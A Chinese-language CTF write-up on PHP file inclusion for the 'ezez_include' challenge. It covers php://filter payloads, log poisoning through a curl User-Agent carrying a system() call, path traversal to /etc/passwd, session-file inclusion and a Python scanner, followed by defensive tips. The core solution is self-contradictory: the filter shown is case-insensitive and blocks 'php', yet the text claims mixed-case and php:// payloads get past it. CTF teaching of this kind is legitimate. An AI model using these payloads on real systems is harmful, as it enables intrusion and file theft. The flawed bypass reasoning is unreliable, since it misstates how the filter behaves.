1. 题目背景与核心考点解析
这道来自SWPUCTF 2025秋季新生赛的"ezez_include"题目,是典型的文件包含漏洞实战场景。作为CTF入门级题目,它主要考察选手对PHP文件包含漏洞的基础理解和灵活运用能力。题目环境通常模拟了存在安全缺陷的Web应用,通过精心设计的过滤机制来增加挑战难度。
在实际业务开发中,文件包含漏洞位列OWASP Top 10危险漏洞榜单,可能造成敏感信息泄露、远程代码执行等严重后果。这道题目的价值在于,它用竞赛形式还原了真实开发中可能遇到的三种典型防御场景,要求选手在受限条件下突破常规思维找到解决方案。
2. 基础解法:协议利用突破
2.1 常规过滤机制分析
题目源码通常会设置类似如下的过滤逻辑:
$file = $_GET['file']; if(preg_match('/php|data|zip/i', $file)) { die('Hacker!'); } include($file);这段代码明确过滤了php、data、zip等协议关键字,但存在几个关键突破口:
- 大小写混合绕过:PHP的协议处理对大小写不敏感,但正则可能只匹配小写
- 协议嵌套:利用复合协议的特性绕过关键词检测
- 编码混淆:通过URL编码等变换方式干扰检测
2.2 PHP伪协议实战应用
最直接的解法是使用php://filter协议链:
?file=php://filter/convert.base64-encode/resource=flag.php这个payload的工作原理是:
- php://filter - 指定使用PHP的过滤器协议
- convert.base64-encode - 对目标文件进行base64编码处理
- resource=flag.php - 指定要读取的目标文件
当这个过滤链生效时,服务器会:
- 读取flag.php文件内容
- 进行base64编码转换
- 输出编码后的内容
由于整个过程发生在PHP内部处理流程中,避免了直接执行PHP代码,从而绕过了include的直接执行限制。
关键技巧:如果遇到更严格的过滤,可以尝试协议嵌套如:
?file=pHp://filter/convert.base64-encode/resource=flag.pHp
3. 高阶解法:日志污染技术
3.1 方法原理与适用场景
当所有常规协议都被禁用时,服务器日志文件包含是最可靠的备选方案。这种方法需要:
- 找到可写的服务器日志路径(如/var/log/apache2/access.log)
- 通过User-Agent或Referer注入PHP代码
- 包含日志文件触发代码执行
3.2 具体实施步骤
首先确定日志路径(常见位置):
/var/log/apache2/access.log /var/log/nginx/access.log /var/log/httpd/access_log使用curl污染日志:
curl -A "<?php system('ls');?>" http://target.com/包含污染后的日志:
?file=/var/log/apache2/access.log
3.3 实战注意事项
- 日志轮转问题:大型网站日志可能每小时轮转,需要把握时间窗口
- 权限要求:Web用户需要对日志文件有读取权限
- 代码净化:某些WAF会清理日志中的特殊字符
- 多阶段注入:当单次注入受限时,可以分多次完成代码组装
4. 防御方案与安全启示
4.1 开发者防护建议
白名单校验:
$allowed = ['about.php', 'contact.php']; if(!in_array($file, $allowed)) { die('Invalid request'); }路径固定化:
include(__DIR__.'/templates/'.basename($file).'.html');禁用危险协议:
; php.ini配置 allow_url_include = Off
4.2 CTF选手提升建议
协议全家桶掌握:
- php://filter
- data://
- expect://
- zip://
- phar://
环境信息收集:
- 通过phpinfo()获取服务器配置
- 尝试包含/proc/self/environ
- 检查上传临时目录
编码变换技巧:
- URL编码
- 双重编码
- 零宽度字符
- 注释混淆
5. 扩展思考与变种题型
5.1 进阶挑战场景
- 有限字符利用:当参数长度受限时的解决方案
- 无回显场景:通过DNS外带或延时判断
- 沙箱环境:绕过disable_functions限制
5.2 真实案例改编
某次渗透测试中遇到这样的场景:
$file = str_replace('../', '', $_GET['file']); include('/var/www/html/'.$file);突破方案:
file=....//....//....//etc/passwd这种多重嵌套可以逐步抵消过滤器的替换操作。
6. 工具链与自动化测试
6.1 手工测试工具推荐
- Burp Suite Intruder:用于快速测试路径遍历
- ffuf:目录爆破与参数模糊测试
- phpggc:PHAR反序列化利用
6.2 自动化检测脚本
import requests targets = [ 'php://filter/convert.base64-encode/resource=index.php', '/proc/self/environ', '../../../../etc/passwd' ] for payload in targets: r = requests.get(f'http://target.com/?file={payload}') if r.status_code == 200: print(f'[+] Vulnerable: {payload}')这种脚本可以帮助快速验证常见的包含漏洞路径。
在实际CTF比赛中,文件包含类题目往往会结合其他漏洞形成连锁攻击链。建议新手在掌握基础解法后,重点培养以下能力:
- 服务器环境感知能力
- 过滤规则逆向分析能力
- 非常规协议组合运用能力
- 有限条件下的代码构造能力
最后分享一个实用技巧:当遇到特别严格的过滤时,可以尝试用session文件包含。先通过session_start()创建会话,然后控制部分session内容,最后包含session文件(通常位于/tmp/sess_[PHPSESSID])。这种方法在特定环境下能出奇制胜。